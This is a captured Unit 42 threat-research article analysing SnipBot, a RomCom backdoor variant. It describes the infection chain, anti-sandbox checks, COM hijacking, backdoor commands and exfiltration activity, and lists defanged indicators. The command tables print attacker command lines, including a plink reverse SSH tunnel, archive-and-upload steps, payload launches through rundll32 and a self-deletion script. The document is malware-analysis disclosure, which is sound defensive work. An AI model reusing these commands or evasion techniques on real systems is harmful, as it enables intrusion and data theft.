unit42.paloaltonetworks.com Open in urlscan Pro
23.47.16.213  Public Scan

URL: https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
Submission: On September 25 via api from DE — Scanned from CA

Form analysis 1 forms found in the DOM

Name: Unit42_SubscribePOST https://www.paloaltonetworks.com/apps/pan/public/formsubmithandler.submitform.json

<form action="https://www.paloaltonetworks.com/apps/pan/public/formsubmithandler.submitform.json" method="post" novalidate="" class="subscribe-form" name="Unit42_Subscribe" id="unit42footerSubscription_form">
  <input type="hidden" name="emailFormMask" value="">
  <input type="hidden" value="1086" name="formid">
  <input type="hidden" value="531-OCS-018" name="munchkinId">
  <input type="hidden" value="2141" name="lpId">
  <input type="hidden" value="1203" name="programId">
  <input type="hidden" value="1086" name="formVid">
  <input type="hidden" name="mkto_optinunit42" value="true">
  <input type="hidden" name="mkto_opt-in" value="true">
  <div class="form-group">
    <label for="newsletter-email" id="newsletter-email-label">Your Email</label>
    <input type="emal" placeholder="Your Email" name="Email" class="subscribe-field" id="newsletter-email" aria-labelledby="newsletter-email-label">
    <p class="error-mail mb-15 text-danger" style="color: #dc3545"></p>
    <p>Subscribe for email updates to all Unit 42 threat research.<br>By submitting this form, you agree to our
      <a title="Terms of Use" href="https://www.paloaltonetworks.com/legal-notices/terms-of-use" data-page-track="true" data-page-track-value="Get updates from Unit 42:Terms of Use">Terms of Use</a> and acknowledge our
      <a title="Privacy Statement" href="https://www.paloaltonetworks.com/legal-notices/privacy" data-page-track="true" data-page-track-value="Get updates from Unit 42:Privacy Statement">Privacy Statement.</a></p>
    <div class="g-recaptcha" data-expired-callback="captchaExpires" data-callback="captchaComplete" data-sitekey="6Lc5EhgTAAAAAJa-DzE7EeWABasWg4LKv-R3ao6o"></div>
    <p class="error-recaptcha d-none mt-15 text-danger" style="color: #dc3545">Invalid captcha!</p>
    <button class="l-btn is-disabled" data-page-track="true" data-page-track-value="footer:Get updates from Unit 42:Subscribe" id="unit42footerSubscription_form_button"> Subscribe <img
        src="https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg" alt="Right Arrow" class="arrow">
      <img src="https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg" alt="loader" class="loader">
    </button>
    <div class="form-success-message"></div>
  </div>
</form>

Text Content

Menu
 * Tools
 * ATOMs
 * Security Consulting
 * About Us
 * Under Attack?

 * 
 * About Unit 42
 * Services
   Services
   Assess and Test Your Security Controls
    * AI Security Assessment
    * Attack Surface Assessment
    * Breach Readiness Review
    * BEC Readiness Assessment
    * Cloud Security Assessment
    * Compromise Assessment
    * Cyber Risk Assessment
    * M&A Cyber Due Diligence
    * Penetration Testing
    * Purple Team Exercises
    * Ransomware Readiness Assessment
    * SOC Assessment
    * Supply Chain Risk Assessment
    * Tabletop Exercises
    * Unit 42 Retainer
   
   Transform Your Security Strategy
    * IR Plan Development and Review
    * Security Program Design
    * Virtual CISO
    * Zero Trust Advisory
   
   Respond in Record Time
    * Cloud Incident Response
    * Digital Forensics
    * Incident Response
    * Managed Detection and Response
    * Managed Threat Hunting
    * Unit 42 Retainer
   
   UNIT 42 RETAINER
   
   Custom-built to fit your organization's needs, you can choose to allocate
   your retainer hours to any of our offerings, including proactive cyber risk
   management services. Learn how you can put the world-class Unit 42 Incident
   Response team on speed dial.
   
   Learn more
 * Unit 42 Threat Research
   Unit 42 Threat Research
   Unit 42 Threat Research
    * Threat Briefs and Assessments
      Details on the latest cyber threats
    * Tools
      Lists of public tools released by our team
    * Threat Reports
      Downloadable, in-depth research reports
   
   THREAT REPORT
   
   2024 Unit 42 Incident Response Report
   
   Read now
   THREAT BRIEF
   
   Russia-Ukraine Cyberattacks: How to Protect Against Related Cyberthreats
   Including DDoS, HermeticWiper, Gamaredon, Website Defacement
   
   Learn more
   THREAT REPORT
   
   Highlights from the Unit 42 Cloud Threat Report, Volume 6
   
   Learn more
 * Partners
   Partners
   Partners
    * Threat Intelligence Sharing
    * Law Firms and Insurance Providers
   
   THREAT REPORT
   
   2022 Unit 42 Ransomware Threat Report: Understand trends and tactics to
   bolster defenses
   
   Learn more
   THREAT BRIEF
   
   Russia-Ukraine Cyberattacks: How to Protect Against Related Cyberthreats
   Including DDoS, HermeticWiper, Gamaredon, Website Defacement
   
   Learn more
   THREAT BRIEF
   
   Operation Falcon II: Unit 42 Helps Interpol Identify Nigerian Business Email
   Compromise Ring Members
   
   Learn more
 * Resources
   Resources
   Resources
    * Research Reports
    * Webinars
    * Customer Stories
    * Datasheets
    * Videos
    * Infographics
    * Whitepapers
    * Cyberpedia
   
   Industries
    * Financial Services
    * Healthcare
    * Manufacturing
   
   ANALYST REPORT
   
   Unit 42® has been named a Leader in “The Forrester Wave™: Cybersecurity
   Incident Response Services, Q2 2024.” Read the Forrester report to learn why.
   
   Get the report
   THREAT REPORT
   
   2024 Unit 42 Incident Response Report: Get the latest threat insights and
   expert recommendations to safeguard your organization better.
   
   Learn more

 * 
 * Under Attack?




Search
All
 * Tech Docs


Close search modal

 * Threat Research Center
 * Threat Research
 * Malware

Malware


INSIDE SNIPBOT: THE LATEST ROMCOM MALWARE VARIANT

18 min read
Related Products
Advanced Threat PreventionAdvanced WildFireCloud-Delivered Security
ServicesCortexCortex XDRNext-Generation FirewallUnit 42 Incident Response
 * By:
    * Yaron Samuel
    * Dominik Reichel

 * Published:23 September, 2024 at 2:00 PM PDT
 * Categories:
    * Malware
    * Threat Research

 * Tags:
    * Backdoor
    * RomCom
    * SnipBot

 * 
 * 

Share
 * 
 * 
 * 
 * 
 * 
 * 
 * 


EXECUTIVE SUMMARY

We recently discovered a novel version of the RomCom malware family called
SnipBot and, for the first time, show post-infection activity from the attacker
on a victim system. This new strain makes use of new tricks and unique code
obfuscation methods in addition to those seen in previous versions of RomCom 3.0
and PEAPOD (RomCom 4.0).

In early April, our sandbox Advanced WildFire discovered an unusual DLL module
that turned out to be part of a broader tool set called SnipBot. By examining
the malware sample and using Cortex XDR telemetry data, we were able to
reconstruct the infection chain and the attacker's subsequent actions.

We also discovered more related malware strains dating back to December 2023.
Although the aim of the attacker is unknown, the behavior we observed indicates
an attempt to pivot through the victim's network and exfiltrate certain files.

SnipBot gives the attacker the ability to execute commands and download
additional modules onto a victim's system. It is a new version of the RomCom
malware that is mainly based on RomCom 3.0. However, it also contains techniques
seen in its offshoot PEAPOD called RomCom 4.0 by Trend Micro. Therefore, we’ve
assigned it version 5.0.

This threat operates in several stages, with the initial downloader always being
an executable, followed by further EXEs or DLLs. The downloader we observed was
consistently signed with a valid code signing certificate that the threat actor
likely obtained either through certificate theft or fraud to purchase a new
certificate, while subsequent modules were unsigned.

In collaboration with Sophos, which initially found this new RomCom version in
February during an incident, we investigated the malware's capabilities and
gathered some knowledge about the attackers' activity on a victim’s system.

Palo Alto Networks customers are better protected from the SnipBot malware
through products like Cortex and Advanced WildFire, with its different memory
analysis features. Advanced WildFire classifies the SnipBot malware samples in
this article as malicious. Advanced URL Filtering and Advanced DNS Security
classify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, contact
the Unit 42 Incident Response team.

Related Unit 42 Topics Backdoors, RomCom


MALWARE BACKGROUND

RomCom RAT is a malware family that has evolved over the years to include
different features and attack methods. The threat actor using RomCom has been
active since at least 2022. They engage in ransomware, extortion and targeted
credential gathering, likely to support intelligence-gathering operations.
RomCom has made multiple advancements, leading to its newest iteration called
SnipBot, which employs new commands and evasion techniques.

The SnipBot variant of RomCom leverages a basic set of features that allows the
attacker to run commands on a victim's system and download additional modules.
The initial payload is always either an executable downloader masked as a PDF
file or an actual PDF file sent to the victim in an email that leads to an
executable.

The earliest initial sample of SnipBot we found was a PDF file that shows
distorted text that states a font is missing that’s needed to show it correctly.
If the victim clicks on the contained link that’s purported to download and
install the font package, they will instead download the SnipBot downloader.

SnipBot consists of several stages where the initial downloader is always an
executable file and the remaining payloads are either EXEs or DLLs. The
downloader is always signed with a legitimate and valid code signing
certificate. We don’t know how the threat actors obtain these certificates, but
it’s likely they steal them or gain them by fraud. Subsequent modules were not
signed.


EMAIL INFECTION VECTOR

By reviewing Cortex XDR telemetry data and reverse engineering the initial
sample, we were able to recreate the whole infection chain. The initial
infection vector in our case was an email that contained a link that redirects
twice to the SnipBot downloader.

Figure 1 shows the chain of URLs from the initial one contained in the email to
the final SnipBot downloader file link. The attacker registered the domains
fastshare[.]click and docstorage[.]link. The website temp[.]sh is a legitimate
file sharing service with a set hosting period of three days.

Figure 1. URL chain from the email to the downloader (icon sources).


We discovered another chain of links that was likely used by the same attacker
to deliver a similar SnipBot downloader variant. The distinct initial domain and
the similar downloader file name imply this was part of a campaign targeting
multiple victims.

Figure 2 shows another chain of URLs used in another attack. The attacker
created the domain publicshare[.]link; it is not a legitimate file sharing
service.

Figure 2. Different URL chain from the email to the downloader (icon sources).



SNIPBOT MALWARE

Figure 3 shows the infection chain of the different SnipBot stages. The initial
downloader Attachment_Medical report.exe is a 64-bit Windows executable (SHA256:
57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312) disguised as a
PDF file. It is signed with a presumably stolen or spoofed certificate from CC
Byg og Udlejning ApS, which is a company located in Denmark.

 

Figure 3. SnipBot execution flow from the initial EXE downloader to the main bot
file single.dll (icon sources).


This downloader uses two simple yet effective anti-sandbox tricks. The first one
checks for the original file name by comparing the hashed process name against a
hard-coded value. The second one checks whether there are at least 100 entries
in the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
registry key, which is usually the case on a regular user’s system but less
likely to be the case in a sandbox system.







Figure 4 shows the RecentDocs registry key of a typical Windows system with more
than 100 values present.

Figure 4. RecentDocs registry key of a typical Windows system.


The downloader is also obfuscated with a window message-based control-flow
obfuscation algorithm. The malware code is split up into multiple unordered
blocks that are triggered by custom window messages.

To accomplish this, a window is created that has a callback message that
contains these code blocks. The window message queue is used to call each block
in its original order.

The first message block is triggered by sending the initial message and then
each block sends the next message when it’s done. Additionally, each block can
also send nested messages, which makes it even more challenging to follow the
execution flow.







Most of the strings, such as the command and control (C2) domain name and all
the names of dynamically resolved API functions, are encrypted. The threat actor
likely did this to prevent easy static detection, thus making malware analysis
more time-consuming.

Upon execution, the downloader contacts the first C2 domain xeontime[.]com and
tries to get a PDF file and the first payload. We couldn’t recover the original
downloaded first payload, but for an unknown reason, the attacker later
downloaded the same payload with different configuration data and started it
manually. We were able to obtain this file and could continue our analysis.

The threat downloads the PDF to the local user’s temporary folder with a random
name before opening it. The first payload is a DLL file (internally named
config-pdf.dll) that the threat executes in memory. It has an exported function
named GetStore that contains its malicious code.

This DLL file’s purpose is to download the next stage COM DLL named keyprov.dll
from the second C2 drvmcprotect[.]com and inject it into Explorer. For this, it
uses COM hijacking to register the file as the thumbnail cache library in the
registry hive of the current user.

When restarting explorer.exe, the DLL gets loaded into its address space and
executed. While this is a reliable method of loading a payload into Explorer,
forcing it to terminate can result in a crash, as it did on the victim's
machine.







Figure 5 illustrates how the registered COM DLL keyprov.dll loads into
explorer.exe after restarting.

Figure 5. Explorer Injection via COM hijacking as shown with Process Hacker 2.


To download the COM DLL from the C2 server, config-pdf.dll sends the command
get_update_manager2. Additionally, the first payload gets a second encrypted DLL
by sending the command get_update_inet2.

This payload (internally named single.dll) gets stored in the registry in the
key HKCU\SOFTWARE\AppDataSoft\Software as a binary value named trem1. At last,
in the same registry key, the threat creates another binary value named trem3
that contains the string UPDE1. The threat likely uses this value to keep track
of the number of updates for the registry payloads.

After keyprov.dll gets loaded into Explorer, it tries to imitate a real COM
provider. It is able to do so as it’s an ordinary DLL with the needed export
functions DllGetClassObject and DllCanUnloadNow. To do so, the code in
keyprov.dll’s DllGetClassObject function acts as a forwarder to the same named
function in shdocvw.dll, which is a legit COM DLL also loaded in explorer.exe.

The code in DllMain contains the two key tasks of the DLL. These tasks are to
decrypt and execute the encrypted payload in the registry and to create a
network listener for incoming commands.

The threat’s first task is to decrypt and execute two DLL payloads from the
registry values trem1 and trem2. In our case, only the payload stored in trem1
got downloaded from the C2 server.

The second task is to listen on port 1342 for the following incoming string
commands sent over TCP. Table 1 shows the commands implemented in keyprov.dll
related to the bot’s operation.

Command Description delete bot Delete the following registry keys:



HKCU\SOFTWARE\AppDataSoft\Software

HKCU\SOFTWARE\AppDataSoft

HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}\InprocServer32

HKCU\SOFTWARE\Classes\CLSID\{2155fee3-2419-4373-b102-6843707eb41f}

Create a BAT file %LOCALAPPDATA%\temp.cmd with content:

:rep\r\ntimeout 5\r\nrmdir /Q /S %1\r\nif not errorlevel 0 goto rep\r\ndel /q
%0\r\n

Create the following string to run the batch file via CreateProcess:

C:\Users\<username>\AppData\Local\temp.cmd
C:\Users\<username>\AppData\Local\KeyStore 

Restart the Explorer to unload any payloads:

cmd /C taskkill /f /im explorer.exe && start explorer.exe 

update bot work Decrypt and execute the payload stored in the trem2 value start
bot file Decrypt and execute the payload stored in the trem2 value

Table 1. Commands for keyprov.dll’s network listener.

The main SnipBot file single.dll is a backdoor that gives the attacker multiple
options to execute commands or download and run additional payloads. All strings
are encrypted, with each having its own decryption key.

The file created a mutex named SnipMutex, from which the malware’s name is
derived. For the initial C2 contact, the threat sends a string that is made from
the following information collected from the victim’s system:

 * Computer/domain name
 * MAC address
 * Windows build number
 * Whether the machine is a Windows server

Table 2 shows 27 commands in SnipBot’s main module single.dll.

Command Description 0x1 Get the total and free bytes of all available drives
(RAM disk, CD-ROM, network, fixed/removable media, unknown) and send the
information to the C2 server 0x2 Get the file and directory structure of an
attacker-provided directory path and send the result to the C2 server 0x3
 * Run an attacker-provided command-line command with a hidden cmd.exe process
   and then terminate cmd.exe
 * Send the command-line output to the C2 server

0x4 Upload the file content of an attacker-provided file path to the C2 server
0x5
 * Download the file temp-log from the C2 server to disk:

%LOCALAPPDATA%\temp-log

 * Return the string completed to the C2 when successful

0xC
 * Execute SnippingTool.dll via rundll32.exe and the argument single:

rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main single

 * Send SnippingTool.zip to the C2 server, which is presumably the output of
   SnippingTool.dll, and then delete the file:

%LOCALAPPDATA%\KeyStore\SnippingTool.zip

0xD
 * Execute SnippingTool.dll via rundll32.exe and an attacker-provided argument:

rundll32.exe %LOCALAPPDATA%\KeyStore\SnippingTool.dll,Main <AttackerProvidedArg>

 * Return the string completed to the C2 when successful

0xE
 * Rename SnippingTool.zip to SnippingTool_s.zip:

%LOCALAPPDATA%\KeyStore\SnippingTool.zip

→ %LOCALAPPDATA%\KeyStore\SnippingTool_s.zip

 * Send SnippingTool_s.zip to the C2 server and delete the file:

%LOCALAPPDATA%\KeyStore\SnippingTool_s.zip

0xF Send a list of running processes (file names) and their IDs to the C2 server
0x11
 * Delete the bot by sending delete bot string command to the keyprov.dll
   network listener
 * Return the string completed to the C2 when successful

0x12
 * Download an additional payload SnippingTool.dll from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\SnippingTool.dll

 * Return the string completed to the C2 when successful

0x13
 * Create the directory DataCache:

\%LOCALAPPDATA%\DataCache

 * Download additional payload FontCache.dll from the C2 server to disk:

%LOCALAPPDATA%\DataCache\FontCache.dll

 * Execute the payload FontCache.dll via rundll32.exe:

rundll32.exe %LOCALAPPDATA%\DataCache\FontCache.dll,Main

 * Return the string completed to the C2 when successful

0x14
 * Download the file ms-win-tmp.zip from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip

 * Unpack ms-win-tmp.zip with a built-in unpacker to %LOCALAPPDATA%\KeyStore
 * Return the string completed to the C2 when successful
 * Delete the file ms-win-tmp.zip:

%LOCALAPPDATA%\KeyStore\ms-win-tmp.zip

0x15
 * Create a hidden cmd.exe process to set up a SOCKS proxy with socks5.exe and
   the following commands:

cd /d %LOCALAPPDATA%\KeyStore\

socks5.exe 54321

 * Create another hidden cmd.exe process to set up an SSH tunnel via plink.exe:

%LOCALAPPDATA%\Keystore\plink.exe -ssh -pw <AttackerProvidedPassword> -R
<AttackerProvidedPort>:127.0.0.1:54321 john@<AttackerProvidedAddress> -P
<AttackerProvidedRemotePort>

 * Return the following string to the C2 server:

started on - <AttackerProvidedAddress>:<AttackerProvidedRemotePort>
<AttackerProvidedPassword>

0x16
 * Terminate the processes socks5.exe and plink.exe
 * Delete the files ms-proxy.exe and svcnet.exe:

%LOCALAPPDATA%\KeyStore\ms-proxy.exe

%LOCALAPPDATA%\KeyStore\svcnet.exe

 * Return the string completed to the C2 when successful

0x18 Upload all files from the %LOCALAPPDATA%\Datacache\ directory to the C2
server and delete them afterwards. 0x1A Create a hidden cmd.exe process and wait
for incoming 0x1B commands 0x1B Run an attacker-provided command to the already
running hidden cmd.exe process and send the output to the C2 server 0x1C
 * Terminate the process into which single.dll was loaded (explorer.exe or
   rundll32.exe)
 * Return the string completed to the C2 when successful

0x20 Upload all files with the extensions TXT, RTF, XLS, XLSX, ODS, CMD, PDF,
VBS, PS1, ONE, KDB, KDBX, DOC, DOCS, ODT, EML, MSG and EMAIL from the following
directories to the C2 server:



 * %\USERPROFILE%\Downloads
 * %USERPROFILE%\Desktop
 * %USERPROFILE%\Documents

0x26
 * Download an additional payload paper.exe from the C2 server to disk and
   execute it:

%PUBLIC%\Libraries\paper.exe

 * Run 7-Zip to create an archive of tempFolder, which is presumably the output
   produced by paper.exe:

%PUBLIC%\Libraries\7za.exe a -tzip
%PUBLIC%\Libraries\archi.zip -w
%PUBLIC%\Libraries\tempFolder

 * Return the string completed to the C2 when successful

0x29
 * Run 7-Zip to create an archive of tempFolder (if archi.zip not present),
   presumably, the output produced by the payload paper.exe:

%PUBLIC%\Libraries\7za.exe a -tzip
%PUBLIC%\Libraries\archi.zip -w
%PUBLIC%\Libraries\tempFolder

 * Send the result (archi.zip) to the C2 server and delete the files:

%PUBLIC%\Libraries\7za.exe

%PUBLIC%\Libraries\archi.zip

%PUBLIC%\Libraries\paper.exe

0x2A
 * Download 7-Zip from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\7za.exe

 * Return the string completed to the C2 when successful

0x2B
 * Run 7-Zip to create an archive of the attacker-provided path:

%LOCALAPPDATA%\KeyStore\7za.exe a -tzip %LOCALAPPDATA%\KeyStore\archiveSSL.zip
-w 

<C2ProvidedPath>

 * Send the result (archiveSSL.zip) to the C2 server and delete the files:

%PUBLIC%\Libraries\7za.exe

%PUBLIC%\Libraries\archiveSSL.zip

0x2C
 * Traverse all processes including system ones, search for one containing the
   module SnippingTool.dll and terminate it
 * Return the string completed to the C2 when successful
 * Delete the payload SnippingTool.dll:

%LOCALAPPDATA%\KeyStore\SnippingTool.dll

0x2D
 * Download additional payload InfoWind.dll from the C2 server to disk:

%LOCALAPPDATA%\KeyStore\InfoWind.dll

 * Return the string completed to the C2 when successful

0x2E
 * Execute the payload InfoWind.dll via rundll32.exe:

rundll32.exe %LOCALAPPDATA%\KeyStore\InfoWind.dll,stw

 * Send tempol.zip to the C2 server, which is presumably the output of
   InfoWind.dll and delete the files:

%LOCALAPPDATA%\KeyStore\7za.exe

%LOCALAPPDATA%\KeyStore\tempol.zip

Table 2. Supported commands of SnipBot’s main module single.dll.

The main module provides the operator with command-line, uploading and
downloading capabilities on a victim’s system. It also allows an attacker to
download and execute the following additional payloads from the attacker’s
server:

 * SnippingTool.dll
 * FontCache.dll
 * InfoWind.dll
 * paper.exe
 * socks5.exe
 * ms-proxy.exe
 * svcnet.exe
 * plink.exe

While these file names imply what the payloads might do, we can only speculate
about their purposes. We haven’t seen any of these files dropped on a victim’s
system during our investigation.

When someone sends a command that the threat does not support, it sends the
string command: <CmdNumber> does not exist back to the C2 server.


NEWER DOWNLOADER VERSIONS

While conducting analysis for this post, we monitored VirusTotal for any newly
submitted downloader samples. We found five newer versions that are almost
identical in function, but they differ in their implementation. All samples were
hosted on temp[.]sh, which seems to be a preferred file sharing service of the
attacker.

The newest version differs in the set of dynamically resolved API functions
compared to the downloader from our case. Also, the window message-based
obfuscation code was removed.

The newest sample of this version we found was named Attachment_CV_June2024.exe
(SHA256: 5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129) and
it connected to the C2 domain linedrv[.]com to download the decoy PDF and next
stage payload.

We found a slightly older sample named atch_Medical_Report_Scan05202024.exe
(SHA256: 0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501), that
had the same signer and the C2 domain drv2ms[.]com.

The last sample, whose filename is unknown (SHA256:
2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4), was signed by
Hangzhou Yueju Apparel Co., Ltd. and it also contacted drv2ms[.]com.

The second most recent version we found has a few window-related API functions
left in the code, but the threat actors did not use them for any obfuscation
techniques. This version used another anti-sandbox trick by checking whether
there are at least 50 sub-keys in the Shell Bags registry key, which is a
typical number for a user system. Shell Bags are stored configuration settings
within the registry that remember folder display preferences, such as position,
size and view mode in Windows Explorer.







We found a sample of this version named atch_List_of_Available_Documents.exe
(SHA256: a2f2e88a5e2a3d81f4b130a2f93fb60b3de34550a7332895a084099d99a3d436) that
was also signed by Hangzhou Yueju Apparel Co., Ltd. When executed, it connected
to the C2 domain olminx[.]com to download the next stage payload.

This earliest version also used the window-based control-flow obfuscation
technique. We found a sample that was named Atch_Data_Breach_Evidence.pdf … Open
with Adobe Acrobat.exe (SHA256:
5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8) that was also
signed by Hangzhou Yueju Apparel Co., Ltd., and it connected to olminx[.]com.


EARLIER VERSIONS

The earliest version of SnipBot we could find was submitted from Ukraine to
VirusTotal in December 2023. The initial infection vector was a PDF file named
резюме.pdf. When opened, a message box appears saying the font package AdSlavicF
is missing, luring the victim into clicking on the link to install it and show
the content correctly.

Figure 6 shows the PDF content with the unresolved text and the message
indicating to click on the URL on top. When the victim clicks the link, they’re
redirected to the website
adobe.cloudcreative[.]digital/downloads/adobe/fontpackage/, which is meant to
look like a legitimate Adobe site.

The name and logo shown are the work of a threat actor attempting to impersonate
a legitimate organization. They do not represent an actual affiliation with that
organization. The threat actor’s impersonation does not imply a vulnerability in
the legitimate organization’s products or services.

Figure 6. PDF lure document leading to the SnipBot downloader.


Figure 7 shows the landing page at adobe.cloudcreative[.]digital impersonating
the legitimate Adobe download site. When the victim clicks on the “Download Font
Package” button, a file download dialog appears.

Figure 7. Fake Adobe website leading to the SnipBot downloader.


Figure 8 shows a dialog that simulates a legitimate Adobe font package download.
But instead, the initial SnipBot downloader gets downloaded from
temp[.]sh/VwnkO/AdobeFontPackCx6416.exe.

Figure 8. Download dialog of a fake Adobe website leading to the SnipBot
downloader.


The executable AdobeFontPackCx6416.exe (SHA256:
cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317) is an earlier
and simpler version of the initial downloader from our incident. It also has a
PDF icon, and it is signed with a valid certificate by COSMART LLC.

The downloader checks for the original filename for full execution and
dynamically resolves all functions by API hashing. It connects to the C2 server
at ilogicflow[.]com to download the next stage, which we couldn’t obtain as the
server wasn’t online anymore.

The file also seems to download a real font named AdSlavicF.ttf to the same
directory as the SnipBot downloader and install it via InstallFontFile from the
Windows library fontext.dll. We can’t verify if this is the missing font that
makes the document’s content visible or just a random one used to make the chain
of events look more legitimate.

We also found an earlier version of config-pdf.dll (SHA256:
b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045) submitted from
Ukraine to VirusTotal in January 2024. This version is not a DLL file but an EXE
file submitted as webtime-e.exe. This file connected to the C2 server at
webtimeapi[.]com to download earlier versions of keyprov.dll and single.dll.

The earlier version of keyprov.dll was dropped as libapi.dll (SHA256:
9f635fa106dbe7181b4162266379703b3fdf53408e5b8faa6aeee08f1965d3a2) and was also
created as a COM DLL. Again, the threat used COM hijacking to register the file
as the sync registration library in the registry hive of the current user and to
load it into the Explorer.







The earlier version of single.dll was encrypted and stored in the registry key
HKCU\SOFTWARE\AppDataHigh\Software as a binary value named state1. Also, it
stored the string UPDE1 in a binary value named state2 under the same key.

Another sample of an earlier version named CV_for_a_job.exe (SHA256:
5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118) was submitted
to VirusTotal in February 2024. It was signed with a legitimate certificate from
KHAROS LLC.

The file checks for the original process name and dynamically resolves functions
by API hashing. It was hosted on the server resolved by the domain name
1drv.fileshare[.]direct, a fake file sharing service set up by the attacker.

This sample drops and opens an embedded empty PDF file named AdobeARM.log.pdf
instead of downloading it. It only connected to the C2 server at
certifysop[.]com to download and execute the next stage payload from memory.

All earlier versions only checked whether the process name was the original
given filename as an anti-sandbox evasion method. They didn’t use any
registry-related tricks.


POST-INFECTION ACTIVITY

With the help of Cortex XDR telemetry data, we recreated post-infection activity
from the attacker, which was mostly command-line commands. A timeline from the
initial infection to the last seen command is shown below.

Figure 9 shows the attacker's post-infection behavior on April 4, which occurred
over a period of roughly four hours.

Figure 9. Timeline of post-infection attacker activity.


With the command-line functionality of SnipBot’s main module single.dll, the
attacker first tried to gather information about the company’s internal network,
including the domain controller. Afterwards, attackers attempted to exfiltrate a
list of different files from the victim’s documents, downloads and OneDrive
folders to the server with the IP address 91.92.250[.]104.

This server sent AD Explorer and WinRAR to the victim’s system for the second
discovery phase. Before the exfiltration, the attacker packed the files with
WinRAR (renamed as fsutil.exe), while the actual data transfer to the server was
achieved with the help of the PuTTY Secure Copy client (renamed as dsutil.exe).

Table 3 shows the file types that the attackers target for data exfiltration.

File type Related Software/Description db SQLite database bbk Unclear, might be
a TreePad backup file dll Windows dynamic-link library mp4 MP4 digital media
container msi Microsoft Software Installer mp3 MP3 digital audio coding wav
Waveform audio format dbs SQLBase database exe Windows executable iso Optical
disk image avi Audio video interleave onetoc2 Microsoft OneNote dcm Digital
imaging and communications in medicine zbf Z-Buffer Radiance che Unclear, might
be related to CHwinEHE software mov Quicktime multimedia container cab Cabinet
archive dat Generic data format mkv Matroska container xdw DocuWorks zip Archive
format hwp Hancom Office wmv Windows media video mpj Minitab des CorelDRAW mtw
Minitab reg Windows registry mac Unclear, might be also Minitab cnt Windows help
chm Windows compiled help hlp WinHelp mpg Digital video container mpeg Digital
video container mkv Matroska container (duplicate) mts Advanced video coding
high definition vob Video object container

Table 3. Exfiltrated file types.

This list of file types contains some unusual ones, making any conclusions about
the attacker’s motivation difficult. While some of the types appear to be
standard files used to get more information about the victim's system, others
appear to pertain to information about the victim's personal health (ZBF, DCM).

The data exfiltration attempt we observed didn’t seem to run smoothly, as the
attacker tried to kill the PuTTY process (taskkill /pid 1628 /f). Afterward, the
attacker manually downloaded a new copy of config-pdf.dll to the victim's system
and started it with rundll32.exe.

When we analyzed this file, we found this payload was the missing one downloaded
from xeontime[.]com. However, this new version connected to a different C2
domain cethernet[.]com to get additional payloads or commands from the attacker.

One of the last activities we saw was that the attacker used AD Explorer
(renamed as fsutil.exe) to create a snapshot of the local AD database. We do not
know whether this was successful, as the victim’s system was most likely a
company laptop without any AD access.

Finally, in the second data exfiltration phase, the attacker used WinRAR to
create an archive of all files contained in the folder c:\essential\. This is
the last activity shown in XDR telemetry data. It’s likely that the attacker
abandoned the victim’s system because its access to company sources was
restricted, making it uninteresting for the attacker.


CHARACTERISTICS

Looking at the malware’s code, we can see that the authors implemented all
functionality in a small number of very long functions. All files were coded in
C++. The code contains a few minor flaws, indicating the attacker has experience
as a Windows developer, but they are not seasoned professionals.

For example, Figure 10 shows the API function CreateDirectory() is called twice
in a row, which appears to be a typical copy and paste mistake.

Figure 10. Code flaw by using the API function CreateDirectoryA() twice.


Table 4 shows the C2 and staging domain information with the last active IP
addresses.

C2/Staging Domains Last IP Address fastshare[.]click 52.72.49[.]79
(drv.)docstorage[.]link 212.46.38[.]222 publicshare[.]link 52.72.49[.]79
xeontime[.]com 91.92.250[.]240 drvmcprotect[.]com 91.92.254[.]54
mcprotect[.]cloud 185.225.74[.]94 cethernet[.]com 91.92.254[.]234
sitepanel[.]top 91.92.254[.]234 drv2ms[.]com 79.141.170[.]34 olminx[.]com
91.92.250[.]106 ilogicflow[.]com 23.184.48[.]90 webtimeapi[.]com 91.92.242[.]87
dns-msn[.]com 91.92.242[.]87 certifysop[.]com 23.137.248[.]220 linedrv[.]com
38.180.5[.]251 (adobe.)cloudcreative[.]digital 23.137.249[.]182
(1drv.)fileshare[.]direct 23.137.249[.]14

Table 4. C2/Staging domain name information.


CONCLUSION

With the detection capabilities of our advanced Windows sandbox memory scanning
tool, we identified an unusual DLL module as part of a new RomCom version dating
back to at least December 2023. This updated RomCom version called SnipBot uses
a custom obfuscation technique and new anti-analysis tricks.

The attacker's intentions are difficult to discern given the variety of targeted
victims, which include organizations in sectors such as IT services, legal and
agriculture. While attackers have occasionally dropped ransomware on systems
infected with RomCom in the past, this did not occur in our cases or in any of
Sophos' incidents. We suspect this threat actor has shifted its aim away from
pure financial gain toward espionage.

CERT-UA has also published further information about the threat actor behind
SnipBot, including other tools and indicators of compromise (IoC).

This highlights the need for organizations to remain vigilant and adopt advanced
security measures to protect their systems and data from evolving cyberthreats.

Palo Alto Networks customers are better protected from the SnipBot malware
through products like Cortex and Advanced WildFire, with its different memory
analysis features. Advanced WildFire classifies the SnipBot malware samples in
this article as malicious. Advanced URL Filtering and Advanced DNS Security
classify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, get in
touch with the Unit 42 Incident Response team or call:

 * North America Toll-Free: 866.486.4842 (866.4.UNIT42)
 * EMEA: +31.20.299.3130
 * APAC: +65.6983.8730
 * Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat
Alliance (CTA) members. CTA members use this intelligence to rapidly deploy
